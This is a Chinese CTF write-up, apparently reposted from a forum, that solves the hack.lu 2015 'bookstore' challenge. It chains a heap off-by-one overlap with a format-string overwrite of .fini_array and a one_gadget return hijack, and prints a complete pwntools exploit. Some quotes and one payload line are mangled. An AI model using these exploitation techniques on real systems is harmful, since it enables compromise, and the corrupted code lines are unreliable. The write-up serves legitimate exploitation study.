2015_hacklu_bookstore

首先仍然是查看保护,发现其中got表可写,开启canary以及没开地址随机
原文链接2015_hacklu_bookstore学习
https://www.52pojie.cn/thread-1675891-1-1.html
(出处: 吾爱破解论坛)

然后就是看看代码逻辑了,单从执行开始看,发现其中就是1,2选项是修改某个值,然后3,4可以直观看出来,最后5选项也就是呈现1,2的值然后退出

ida来!

利用漏洞(无限写,overlapping)
反编译后发现这里有个漏洞,这里导致的好像是无限写,并且在右边主函数那儿发现开始运行时都会申请一个用户大小为0x80的块分配给order1与order2,
然后这个程序又贴心的给我们申请了一个大小为0x80的块来防止与topchunk合并,很明显这题是疯狂暗示我们要采用chunkshrink来overlapping下一个块了
因此我们首先修改第一个块,由于参数是0x80,而本程序是64位,所以真正实际上分配的块大小为0x90,因此我们在溢出的时候就需要发送0x89个值来刚好覆盖至下一个块的size值
此时输入0x88时刚好覆盖完,然后他再将最后一位也就是本该时‘\n’的那位置为‘\x00’,但是我们漏,于是我们就输入0x89个字符,其中由于用的是sendline,所以相当于送入了0x8a个
字符,而他又会将我的第0x8a个字符置为0x00(小端序),而0x89所构造的字符就会成为其中order2块的size值,因此我们就将其值包含到下一个desk块中

上图即为初始堆布局,可以清楚的看到三个堆块的详细信息,此时我们用上述代码进行溢出

发现成功修改成我们需要的大小(由程序逻辑可以看出为0x150大小,上述的0xa1只不过是举例),然后我们就继续利用这个漏洞,将这个被我们修改了的块进行free
根据程序逻辑,在submit时会申请一个0x150大小的块,此时我们就将刚好free掉的去unsortedbin的0x150大小的块分配给他
所以此时的submit的指针指向的恰好就是order2所指向的块

上图说明执行成功,大伙可以稍微思考思考为什么会如此输出,此处我再贴下submit代码和现阶段exp

所以在继续观察代码后发现最终所submit的块其中的分布大致是Order 1: + chunk1 + \nOrder 2: + Order 1: + chunk1
所以为了利用代码中最后一个printf中的格式化字符串漏洞,我们就需要使得后一个chunk1恰好处于代码中desk块的位置
经过计算可知chunk1的大小应该为0x74个字符,计算方法参考上述表达式,所以之后就是格式化字符串漏洞的利用
利用漏洞(format格式化字符串)
由于该程序只能运行一次,所以不能达到pwn的效果,所以在这里利用fini_array的知识,这涉及了程序启动运行以及结束的相关知识,
在这里具体使用方法就是将fini_array的内容写为__libc_start_main即可使得该程序在第一次结束时立马开始二次运行。
给哥们写麻了,由于我这是边写边码字,所以上面可能会有点乱,但大致记录了我自己的思考过程,一上午没写完现在就接着写
由于需要写入fini_array ,但是又找不出来具体地址,所以我们就需要自己在栈上构造,由于发现在输入选项的时候可以写至多128个字符,
所以符合了我们在栈上构造fini_array地址的需求

所以我们在栈上构造fini之后,在通过gdb调试可知在第12个参数,而由于本题并没有使出pie等招数
所以其程序各段地址在一开始是确定的,因此我们就需要将main函数的地址写入fini_array中。
通过ida发现main函数的地址为0x400a39,而fini_array的got表项地址为0x6011b8,而该got表项中包含的值为0x400830,所以说我们就只用将低字节的0xa39覆盖0x6011b8中即可,
所以我们来构造之前早已写好但是没确定格式化漏洞的chunk1.该具体的payload 构造为’%2617c%13$hn’ + ‘c’*0x68

成功,可以看到fini的地址成功改为main的地址,并且程序又执行了一编,因此我们向成功迈进了一大步,所以我们现在就是需要在第一次执行程序的时候,
把libc基地址给泄露了,在栈上寻找时也可以看到__libc_start_main的地址,因此也是通过格式化字符串进行泄露。以下即为泄露结果以及现阶段exp

泄露了之后该如何利用呢,这里我新学了个知识点,这也是在看雪的师傅的一个文章学到的,那也就是修改main函数的返回值为one_gadget,
而具体泄露方法也就是查看栈上的固定便宜的量,其中我找到为如下图,可知道这个栈地址指向的栈对于main函数的偏移时固定的,都为0xe8

因此我就泄露这里的地址。这里还得讲一句那就是在fini调用了main函数之后,他的栈会产生一个固定的偏置值,我们可以通过调试很方便的查看到两次返回函数的偏置值,
在我这个环境下该值为0xe0,所以此时的二次利用除了修改位置不同,其他大致类似。
整体exp如下
[Python] 纯文本查看 复制代码
from pwn import *

io = process(‘./books’)

context.log_level = ‘INFO’

elf = ELF(‘./books’)

libc = ELF(‘/lib/x86_64-linux-gnu/libc.so.6’)

libc_start_addr = libc.sym[‘__libc_start_main’]

one_gadget = 0xcb5ca

main_addr = 0x400a39

fini_addr = 0x6011b8 #内容为0x400830

def edit(i,payload): #修改函数

io.recvuntil('t\n')

io.sendline(str(i))

io.recvuntil(':\n')

io.sendline(payload)

def submit(payload):

io.recvuntil('t\n')

io.sendline(payload)

def delete(i):

io.recvuntil('t\n')

io.sendline(str(i))

pl1 = b’a’*0x88 + p64(0x151)

#gdb.attach(io)

edit(1,pl1) #覆盖下一个块

delete(4) #free掉块2

pl2 = ‘%2617c%13$hn’ #这里保持payload长度为0x74即可

pl2 += ‘.%31 p ′ + ′ , p' + ',%28 p+,p’

pl2 += ‘a’*(0x74 - len(pl2))

edit(1,pl2)

pl3 = b’5’+b’\x00’*7 + p64(fini_addr) #这里是为了在栈上写入.fini_array的地址

#gdb.attach(io)

submit(pl3)

io.recvuntil(‘.’)

io.recvuntil(‘.’)

io.recvuntil(‘.’)

libc_start_main_addr = str(io.recv(14))

io.recvuntil(‘,’)

ret_fake = str(io.recv(14))

libc_start_main_addr = int(libc_start_main_addr[2:16:1],16)

ret_fake = int(ret_fake[2:16:1],16) - 0xe8

libc_start_main_addr -=205

#libc_starrt_main_addr = int(str(libc_start_main_addr),16)

io.success(‘libc_start_main_addr==>’+hex(libc_start_main_addr))

io.success(‘ret_fake==>’ + hex(ret_fake))

libc_base = libc_start_main_addr - libc_start_addr

io.success(‘libc_base==>’+ hex(libc_base))

one_gadget += libc_base

io.success(‘one_gadget==>’+hex(one_gadget))

print(‘==========================’) #阶段二

one_1 = hex(one_gadget)[-2:]

one_1 = int(one_1,16)

one_2 = hex(one_gadget)[-6:-2]

one_2 = int(one_2,16)

io.success(‘one_1 >'+hex(one_1) + '\none_2>’+hex(one_2))

pl4 = ‘%’+str(one_1)+‘c%13$hhn%’

pl4 += ‘%’ + str(one_2-one_1) + ‘c%14$hn’

pl4 += ‘a’*(0x74-len(pl4))

edit(1,pl1)

delete(4)

sleep(1)

edit(1,pl4)

io.success(‘ret_fake_new ==>’+ hex(ret_fake-0xe0))

ret_fake_new = ret_fake-0xe0

pl5 = b’5’ + b’\x00’*7+p64(ret_fake_new) + p64(ret_fake_new+1)

#gdb.attach(io)

submit(pl5)

sleep(1)

io.interactive()

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值